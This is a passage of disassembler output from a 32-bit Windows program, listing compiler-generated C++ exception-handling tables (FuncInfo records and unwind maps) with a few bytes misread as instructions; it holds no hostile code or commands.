		dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720	dd 19930520h, 3, 440740h, 5 dup(0)		dd 0FFFFFFFFh, 43A2C0h,	0
		dd offset loc_43A2C8
		dd 1, 43A2D0h, 2 dup(0)
dword_440760	dd 19930520h, 1, 440780h, 5 dup(0)		dd 0FFFFFFFFh, 43A2F0h,	2 dup(0)
dword_440790	dd 19930520h, 7, 4407B0h, 5 dup(0)		dd 0FFFFFFFFh, 43A310h,	0
		dd offset loc_43A318
		dd 0FFFFFFFFh, 43A320h,	0FFFFFFFFh, 43A328h, 3,	43A330h
		dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0	dd 19930520h, 24h, 440810h, 5 dup(0)		dd 0FFFFFFFFh, 43A370h,	0
		dd offset loc_43A378
		dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
		dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
		dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h,	0Dh, 43A425h, 0Eh
		dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh,	11h, 43A45Dh, 11h
		dd 43A465h, 11h, 43A46Dh, 11h, 43A475h,	11h, 43A47Dh, 11h
		dd 43A485h, 11h, 43A48Dh, 11h, 43A495h,	11h, 43A49Dh, 11h
		dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h,	11h, 43A4BDh, 11h
		dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h,	11h, 43A4DDh, 11h
		dd 43A4E5h, 8 dup(0)
dword_440950	dd 19930520h, 11h, 440970h, 5 dup(0)		dd 0FFFFFFFFh, 43A560h,	0
		dd offset loc_43A568
		dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h
		dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah
		dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h,	0Dh, 43A615h, 0Eh
		dd 43A623h, 0Fh, 43A631h, 4 dup(0)
dword_440A08	dd 19930520h, 38h, 440A28h, 5 dup(0)		dd 0FFFFFFFFh, 43A690h,	0
		dd offset loc_43A69B
		dd 1, 43A6A6h, 0
		dd offset loc_43A6B1
		dd 0
		dd offset loc_43A6BC
		dd 0
		dd offset loc_43A6C7
		dd 0
		dd offset loc_43A6D2
		dd 0
		dd offset loc_43A6DD
		dd 0
		dd offset loc_43A6E8
		dd 0
		dd offset loc_43A6F3
		dd 9, 43A6FEh, 0
		dd offset loc_43A709
		dd 0
		dd offset loc_43A714
		dd 0
		dd offset loc_43A71F
		dd 0
		dd offset loc_43A72A
		dd 0Eh,	43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch
		dd 0Eh,	43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh
		dd 0
		dd offset loc_43A799
		dd 0
		dd offset loc_43A7A4
		dd 0
		dd offset loc_43A7B2
		dd 0
		dd offset loc_43A7C0
		dd 1Ah,	43A7CBh, 1Bh, 43A7D6h, 0
		dd offset loc_43A7E1
		dd 1Dh,	43A7ECh, 0
		dd offset loc_43A7F7
		dd 1Fh,	43A802h, 0
		dd offset loc_43A80D
		dd 0
		dd offset loc_43A818
		dd 0
		dd offset loc_43A823
		dd 0
		dd offset loc_43A82E
		dd 0
		dd offset loc_43A839
		dd 25h,	43A844h, 26h, 43A84Fh, 0
		dd offset loc_43A84F
		dd 28h,	43A844h, 0
		dd offset loc_43A85A
		dd 0
		dd offset loc_43A865
		dd 2Bh,	43A870h, 2Ch, 43A87Bh, 0
		dd offset loc_43A87B
		dd 2Eh,	43A870h, 2Eh, 43A886h, 0
		dd offset loc_43A891
		dd 31h,	43A89Ch, 0
		dd offset loc_43A8A7
		dd 0
		dd offset loc_43A8B2
		dd 34h,	43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0)
dword_440C18	dd 19930520h, 1, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A970h,	2 dup(0)
dword_440C48	dd 19930520h, 1, 440C68h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	2 dup(0)
dword_440C78	dd 19930520h, 6, 440C98h, 5 dup(0)		dd 0FFFFFFFFh, 43A9B0h,	0
		dd offset loc_43A9B8
		dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0)
dword_440CD0	dd 19930520h, 6, 440CF0h, 5 dup(0)		dd 0FFFFFFFFh, 43AA10h,	0
		dd offset loc_43AA18
		dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0)
dword_440D28	dd 19930520h, 0Ah, 440D48h, 5 dup(0)		dd 0FFFFFFFFh, 43AA70h,	0FFFFFFFFh, 43AA78h, 0FFFFFFFFh
		dd 43AA80h, 0FFFFFFFFh,	43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh
		dd 43AA98h, 0FFFFFFFFh,	43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh
		dd 43AAB0h, 0FFFFFFFFh,	43AAB8h, 4 dup(0)
dword_440DA8	dd 19930520h, 0Eh, 440DC8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAE0h,	0
		dd offset loc_43AAE8
		dd 0FFFFFFFFh, 43AAF3h,	0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh
		dd 43AB03h, 0FFFFFFFFh,	43AB0Bh, 5, 43AB16h, 0FFFFFFFFh
		dd 43AB1Eh, 0FFFFFFFFh,	43AB26h, 0FFFFFFFFh, 43AB2Eh, 9
		dd 43AB39h, 0FFFFFFFFh,	43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h
		dd 4 dup(0)
dword_440E48	dd 19930520h, 2, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB98h,	0
		dd offset loc_43AB90
		align 10h
dword_440E80	dd 19930520h, 2, 440EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABD0h,	0
		dd offset loc_43ABD8
		dd 2 dup(0)
dword_440EB8	dd 19930520h, 1, 440ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43ABF0h,	2 dup(0)
dword_440EE8	dd 19930520h, 7, 440F08h, 5 dup(0)		dd 0FFFFFFFFh, 43AC10h,	0
		dd offset loc_43AC18
		dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
		dd 2 dup(0)
dword_440F48	dd 19930520h, 4, 440F68h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	0
		dd offset loc_43AC7B
		dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90	dd 19930520h, 4, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 43h, 0
		dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8	dd 19930520h, 2, 440FF8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD10h,	0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010	dd 19930520h, 1, 441030h, 5 dup(0)		dd 0FFFFFFFFh, 43AD30h,	2 dup(0)
dword_441040	dd 19930520h, 1, 441060h, 5 dup(0)		dd 0FFFFFFFFh, 43AD50h,	2 dup(0)
dword_441070	dd 19930520h, 2, 441090h, 5 dup(0)		dd 0FFFFFFFFh, 43AD70h,	0
		dd offset loc_43AD78
		dd 2 dup(0)
dword_4410A8	dd 19930520h, 3, 4410C8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0
		dd offset loc_43AD98
		dd 1, 43ADA3h, 2 dup(0)
dword_4410E8	dd 19930520h, 3, 441108h, 5 dup(0)		dd 0FFFFFFFFh, 43ADD0h,	0
		dd offset loc_43ADD8
		dd 1, 43ADE0h, 2 dup(0)
dword_441128	dd 19930520h, 1, 441148h, 5 dup(0)		dd 0FFFFFFFFh, 43AE00h,	2 dup(0)
dword_441158	dd 19930520h, 4, 441178h, 5 dup(0)		dd 0FFFFFFFFh, 43AE20h,	0
		dd offset loc_43AE28
		dd 0
		dd offset loc_43AE30
		dd 0
		dd offset loc_43AE3B
		align 10h
dword_4411A0	dd 19930520h, 6, 4411C0h, 5 dup(0)		dd 0FFFFFFFFh, 43AE60h,	0
		dd offset loc_43AE68
		dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8	dd 19930520h, 3, 441218h, 5 dup(0)		dd 0FFFFFFFFh, 43AEB0h,	0
		dd offset loc_43AEBB
		dd 1, 43AEC6h, 2 dup(0)
dword_441238	dd 19930520h, 4, 441258h, 5 dup(0)		dd 0FFFFFFFFh, 43AEF0h,	0
		dd offset loc_43AEF8
		dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280	dd 19930520h, 5, 4412A0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF30h,	0
		dd offset loc_43AF38
		dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0	dd 19930520h, 4, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF80h,	0
		dd offset loc_43AF88
		dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318	dd 19930520h, 3, 441338h, 5 dup(0)		dd 0FFFFFFFFh, 43AFC0h,	0
		dd offset loc_43AFC8
		dd 1, 43AFD0h, 2 dup(0)
dword_441358	dd 19930520h, 1, 441378h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	2 dup(0)
dword_441388	dd 19930520h, 2, 4413A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B010h,	0
		dd offset loc_43B018
		align 10h
dword_4413C0	dd 19930520h, 2, 4413E0h, 5 dup(0)		dd 0FFFFFFFFh, 43B030h,	0
		dd offset loc_43B038
		dd 2 dup(0)
dword_4413F8	dd 19930520h, 3, 441418h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B05B
		dd 1, 43B066h, 2 dup(0)
dword_441438	dd 19930520h, 1, 441458h, 5 dup(0)		dd 0FFFFFFFFh, 43B090h,	2 dup(0)
dword_441468	dd 19930520h, 1, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	2 dup(0)
dword_441498	dd 19930520h, 4, 4414B8h, 5 dup(0)		dd 0FFFFFFFFh, 43B0D0h,	0
		dd offset loc_43B0D8
		dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0	dd 19930520h, 7, 441500h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2, 43B128h,	3, 43B130h, 4, 43B138h,	0FFFFFFFFh
		dd 43B140h, 2 dup(0)
dword_441540	dd 19930520h, 1Bh, 441560h, 5 dup(0)		dd 0FFFFFFFFh, 43B170h,	0
		dd offset loc_43B178
		dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
		dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
		dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh,	0Dh, 43B22Bh, 0Eh
		dd 43B239h, 0Fh, 43B247h, 10h, 43B255h,	11h, 43B263h, 12h
		dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh,	15h, 43B29Bh, 16h
		dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h,	19h, 43B2D3h, 6	dup(0)
dword_441650	dd 19930520h, 1Bh, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B350h,	0
		dd offset loc_43B358
		dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
		dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
		dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh,	0Dh, 43B40Bh, 0Eh
		dd 43B419h, 0Fh, 43B427h, 10h, 43B435h,	11h, 43B443h, 12h
		dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh,	15h, 43B47Bh, 16h
		dd 43B489h, 17h, 43B497h, 18h, 43B4A5h,	19h, 43B4B3h, 6	dup(0)
dword_441760	dd 19930520h, 1, 441780h, 5 dup(0)		dd 0FFFFFFFFh, 43B530h,	2 dup(0)
dword_441790	dd 19930520h, 3Dh, 4417B0h, 5 dup(0)		dd 0FFFFFFFFh, 43B550h,	0
		dd offset loc_43B55B
		dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
		dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
		dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h,	0Dh, 43B60Eh, 0Eh
		dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h,	11h, 43B646h, 12h
		dd 43B654h, 13h, 43B662h, 14h, 43B670h,	15h, 43B67Eh, 16h
		dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h,	19h, 43B6B6h, 1Ah
		dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h,	1Dh, 43B6EEh, 1Eh
		dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h,	21h, 43B726h, 22h
		dd 43B734h, 23h, 43B742h, 24h, 43B750h,	25h, 43B75Eh, 26h
		dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h,	29h, 43B796h, 2Ah
		dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h,	2Dh, 43B7CEh, 2Eh
		dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h,	31h, 43B806h, 32h
		dd 43B814h, 33h, 43B822h, 34h, 43B830h,	35h, 43B83Eh, 36h
		dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h,	39h, 43B876h, 3Ah
		dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
dword_4419D0	dd 19930520h, 4, 4419F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B980h,	0
		dd offset loc_43B98B
		dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18	dd 19930520h, 6, 441A38h, 5 dup(0)		dd 0FFFFFFFFh, 43B9D0h,	0
		dd offset loc_43B9DB
		dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70	dd 19930520h, 4, 441A90h, 5 dup(0)		dd 0FFFFFFFFh, 43BA40h,	0
		dd offset loc_43BA4E
		dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8	dd 19930520h, 5, 441AD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BAA0h,	0
		dd offset loc_43BAAB
		dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08	dd 19930520h, 5, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	0
		dd offset loc_43BB0B
		dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58	dd 19930520h, 1, 441B78h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441B88	dd 19930520h, 1, 441BA8h, 5 dup(0)		dd 0FFFFFFFFh, 43BB80h,	2 dup(0)
dword_441BB8	dd 19930520h, 1, 441BD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	2 dup(0)
dword_441BE8	dd 19930520h, 2, 441C08h, 5 dup(0)		dd 0FFFFFFFFh, 43BBC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BBh, 43h, 0
		align 10h
dword_441C20	dd 19930520h, 4, 441C40h, 5 dup(0)		dd 0FFFFFFFFh, 43BBF0h,	0
		dd offset loc_43BBFB
		dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68	dd 19930520h, 4, 441C88h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	0
		dd offset loc_43BC4B
		dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC90h,	0
		dd offset loc_43BC9B
		dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08	dd 19930520h, 4, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43BD00h,	0
		dd offset loc_43BD0E
		dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50	dd 19930520h, 5, 441D70h, 5 dup(0)		dd 0FFFFFFFFh, 43BD60h,	0
		dd offset loc_43BD6B
		dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0	dd 19930520h, 5, 441DC0h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BDh, 43h, 0
		dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0	dd 19930520h, 1, 441E10h, 5 dup(0)		dd 0FFFFFFFFh, 43BE20h,	2 dup(0)
dword_441E20	dd 19930520h, 1, 441E40h, 5 dup(0)		dd 0FFFFFFFFh, 43BE40h,	2 dup(0)
dword_441E50	dd 19930520h, 1, 441E70h, 5 dup(0)		dd 0FFFFFFFFh, 43BE60h,	2 dup(0)
dword_441E80	dd 19930520h, 2, 441EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE80h,	0
		dd offset loc_43BE8B
		dd 2 dup(0)
dword_441EB8	dd 19930520h, 4, 441ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43BEB0h,	0
		dd offset loc_43BEBB
		dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00	dd 19930520h, 1, 441F20h, 5 dup(0)		dd 0FFFFFFFFh, 43BF00h,	2 dup(0)
dword_441F30	dd 19930520h, 2, 441F50h, 5 dup(0)		dd 0FFFFFFFFh, 43BF20h,	0
		dd offset loc_43BF2B
		dd 2 dup(0)
dword_441F68	dd 19930520h, 1, 441F88h, 5 dup(0)		dd 0FFFFFFFFh, 43BF50h,	2 dup(0)
dword_441F98	dd 19930520h, 1, 441FB8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF70h,	2 dup(0)
dword_441FC8	dd 19930520h, 2, 441FE8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF90h,	0
		dd offset loc_43BF9B
		align 10h
dword_442000	dd 19930520h, 1, 442020h, 5 dup(0)		dd 0FFFFFFFFh, 43BFC0h,	2 dup(0)
dword_442030	dd 19930520h, 3, 442050h, 5 dup(0)		dd 0FFFFFFFFh, 43BFE0h,	0
		dd offset loc_43BFF7
		dd 1, 43BFFFh, 2 dup(0)
dword_442070	dd 19930520h, 1, 442090h, 5 dup(0)		dd 0FFFFFFFFh, 43C020h,	2 dup(0)
dword_4420A0	dd 19930520h, 4, 4420C0h, 5 dup(0)		dd 0FFFFFFFFh, 43C048h,	0
		dd offset sub_43C040
		dd 0
		dd offset loc_43C05F
		dd 2, 43C067h, 2 dup(0)
dword_4420E8	dd 19930520h, 6, 442108h, 5 dup(0)		dd 0FFFFFFFFh, 43C090h,	0FFFFFFFFh, 43C098h, 0FFFFFFFFh
		dd 43C0A0h, 0FFFFFFFFh,	43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh
		dd 43C0B8h, 2 dup(0)
dword_442140	dd 19930520h, 1Ah, 442160h, 5 dup(0)		dd 0FFFFFFFFh, 43C0E0h,	0
		dd offset loc_43C0EB
		dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh
		dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h
		dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h
		dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h
		dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0)
dword_442248	dd 19930520h, 4, 442268h, 5 dup(0)		dd 0FFFFFFFFh, 43C270h,	0
		dd offset loc_43C278
		dd 1, 43C283h, 2, 43C28Eh, 2 dup(0)
dword_442290	dd 19930520h, 4, 4422B0h, 5 dup(0)		dd 0FFFFFFFFh, 43C2B0h,	0
		dd offset loc_43C2B8
		dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0)
dword_4422D8	dd 19930520h, 6, 4422F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C2F0h,	0
; ---------------------------------------------------------------------------
		clc
		retn	43h
; ---------------------------------------------------------------------------
		dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0)
dword_442330	dd 19930520h, 6, 442350h, 5 dup(0)		dd 0FFFFFFFFh, 43C350h,	0
; ---------------------------------------------------------------------------
		pop	eax
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0)
dword_442388	dd 19930520h, 6, 4423A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C3B0h,	0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh
		dd 43C3C6h, 2, 43C3D1h,	3, 43C3DCh, 2, 43C3E7h,	2 dup(0)
dword_4423E0	dd 19930520h, 3, 442400h, 5 dup(0)		dd 0FFFFFFFFh, 43C410h,	0FFFFFFFFh, 43C418h, 0FFFFFFFFh
		dd 43C420h, 2 dup(0)
dword_442420	dd 19930520h, 5, 442440h, 5 dup(0)		dd 0FFFFFFFFh, 43C440h,	0FFFFFFFFh, 43C448h, 0FFFFFFFFh
		dd 43C450h, 0FFFFFFFFh,	43C458h, 0FFFFFFFFh, 43C460h, 2	dup(0)
dword_442470	dd 19930520h, 0Ch, 442490h, 5 dup(0)		dd 0FFFFFFFFh, 43C480h,	0
		dd offset loc_43C488
		dd 0FFFFFFFFh, 43C490h,	0FFFFFFFFh, 43C498h, 0FFFFFFFFh
		dd 43C4A0h, 0FFFFFFFFh,	43C4A8h, 5, 43C4B0h, 0FFFFFFFFh
		dd 43C4B8h, 0FFFFFFFFh,	43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh
		dd 43C4D0h, 0FFFFFFFFh,	43C4D8h, 4 dup(0)
		dd 19930520h, 2, 442520h, 1, 442530h, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442548h, 4	dup(0)
		dd offset loc_41EF2C
		align 10h
dword_442560	dd 19930520h, 0Ah, 442580h, 5 dup(0)		dd 0FFFFFFFFh, 43C520h,	0
		dd offset loc_43C52B
		dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h
		dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0)
dword_4425E0	dd 19930520h, 2, 442600h, 5 dup(0)		dd 0FFFFFFFFh, 43C5C0h,	0
		dd offset loc_43C5C8
		dd 2 dup(0)
dword_442618	dd 19930520h, 3, 442638h, 5 dup(0)		dd 0FFFFFFFFh, 43C5E0h,	0FFFFFFFFh, 43C5EBh, 1,	43C5F6h
		dd 2 dup(0)
dword_442658	dd 19930520h, 1, 442678h, 5 dup(0)		dd 0FFFFFFFFh, 43C620h,	2 dup(0)
dword_442688	dd 19930520h, 2, 4426A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C640h,	0
		dd offset loc_43C64B
		align 10h
dword_4426C0	dd 19930520h, 16h, 4426E0h, 5 dup(0)		dd 0FFFFFFFFh, 43C670h,	0
		dd offset loc_43C67B
		dd 0
		dd offset loc_43C683
		dd 0
		dd offset loc_43C68B
		dd 3, 43C693h, 4, 43C69Bh, 0
		dd offset loc_43C6A3
		dd 6, 43C6ABh, 7, 43C6B3h, 0
		dd offset loc_43C6BB
		dd 9, 43C6C3h, 0Ah, 43C6CBh, 0
		dd offset loc_43C6D3
		dd 0Ch,	43C6DBh, 0Dh, 43C6E3h, 0
		dd offset loc_43C6EB
		dd 0Fh,	43C6F3h, 0
		dd offset loc_43C6FB
		dd 11h,	43C703h, 0
		dd offset loc_43C70B
		dd 13h,	43C713h, 13h, 43C71Bh, 6 dup(0)
dword_4427A8	dd 19930520h, 1, 4427C8h, 5 dup(0)		dd 0FFFFFFFFh, 43C760h,	2 dup(0)
dword_4427D8	dd 19930520h, 1, 4427F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C790h,	2 dup(0)
dword_442808	dd 19930520h, 5, 442828h, 5 dup(0)		dd 0FFFFFFFFh, 43C7C0h,	0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh
		dd 43C7D0h, 0FFFFFFFFh,	43C7D8h, 0FFFFFFFFh, 43C7E0h, 2	dup(0)
dword_442858	dd 19930520h, 0Bh, 442878h, 5 dup(0)		dd 0FFFFFFFFh, 43C800h,	0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh
		dd 43C821h, 0FFFFFFFFh,	43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh
		dd 43C842h, 0FFFFFFFFh,	43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh
		dd 43C863h, 0FFFFFFFFh,	43C86Eh, 0FFFFFFFFh, 43C816h, 4	dup(0)
dword_4428E0	dd 19930520h, 1, 442900h, 5 dup(0)		dd 0FFFFFFFFh, 43C8B0h,	2 dup(0)
dword_442910	dd 19930520h, 5, 442930h, 5 dup(0)		dd 0FFFFFFFFh, 43C8D0h,	0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh
		dd 43C8E0h, 0FFFFFFFFh,	43C8E8h, 0FFFFFFFFh, 43C8F0h, 2	dup(0)
dword_442960	dd 19930520h, 15h, 442980h, 5 dup(0)		dd 0FFFFFFFFh, 43C910h,	0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh
		dd 43C923h, 0FFFFFFFFh,	43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh
		dd 43C93Bh, 0FFFFFFFFh,	43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh
		dd 43C956h, 0FFFFFFFFh,	43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh
		dd 43C971h, 0FFFFFFFFh,	43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh
		dd 43C989h, 0FFFFFFFFh,	43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh
		dd 43C9A4h, 0FFFFFFFFh,	43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh
		dd 43C9BCh, 6 dup(0)
dword_442A40	dd 19930520h, 1, 442A60h, 5 dup(0)		dd 0FFFFFFFFh, 43CA00h,	2 dup(0)
dword_442A70	dd 19930520h, 5, 442A90h, 5 dup(0)		dd 0FFFFFFFFh, 43CA20h,	0
		dd offset loc_43CA28
		dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0)
dword_442AC0	dd 19930520h, 5, 442AE0h, 5 dup(0)		dd 0FFFFFFFFh, 43CA70h,	0
		dd offset loc_43CA78
		dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0)
dword_442B10	dd 19930520h, 1, 442B30h, 5 dup(0)		dd 0FFFFFFFFh, 43CAC0h,	2 dup(0)
dword_442B40	dd 19930520h, 1, 442B60h, 5 dup(0)		dd 0FFFFFFFFh, 43CAE0h,	2 dup(0)
dword_442B70	dd 19930520h, 1, 442B90h, 5 dup(0)		dd 0FFFFFFFFh, 43CB00h,	2 dup(0)
dword_442BA0	dd 19930520h, 1, 442BC0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB20h,	2 dup(0)
dword_442BD0	dd 19930520h, 1, 442BF0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB40h,	2 dup(0)
dword_442C00	dd 19930520h, 1, 442C20h, 5 dup(0)		dd 0FFFFFFFFh, 43CB60h,	2 dup(0)
dword_442C30	dd 19930520h, 1, 442C50h, 5 dup(0)		dd 0FFFFFFFFh, 43CB80h,	2 dup(0)
dword_442C60	dd 19930520h, 1, 442C80h, 5 dup(0)		dd 0FFFFFFFFh, 43CBA0h,	2 dup(0)
dword_442C90	dd 19930520h, 6, 442CB0h, 5 dup(0)		dd 0FFFFFFFFh, 43CBC0h,	0
		dd offset loc_43CBC8
		dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0)
dword_442CE8	dd 19930520h, 6, 442D08h, 5 dup(0)		dd 0FFFFFFFFh, 43CC20h,	0
		dd offset loc_43CC28
		dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0)
dword_442D40	dd 19930520h, 3, 442D60h, 5 dup(0)		dd 0FFFFFFFFh, 43CC80h,	0
		dd offset loc_43CC88
		dd 1, 43CC96h, 2 dup(0)
dword_442D80	dd 19930520h, 16h, 442DA0h, 5 dup(0)		dd 0FFFFFFFFh, 43CCC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 2
		dw 43h
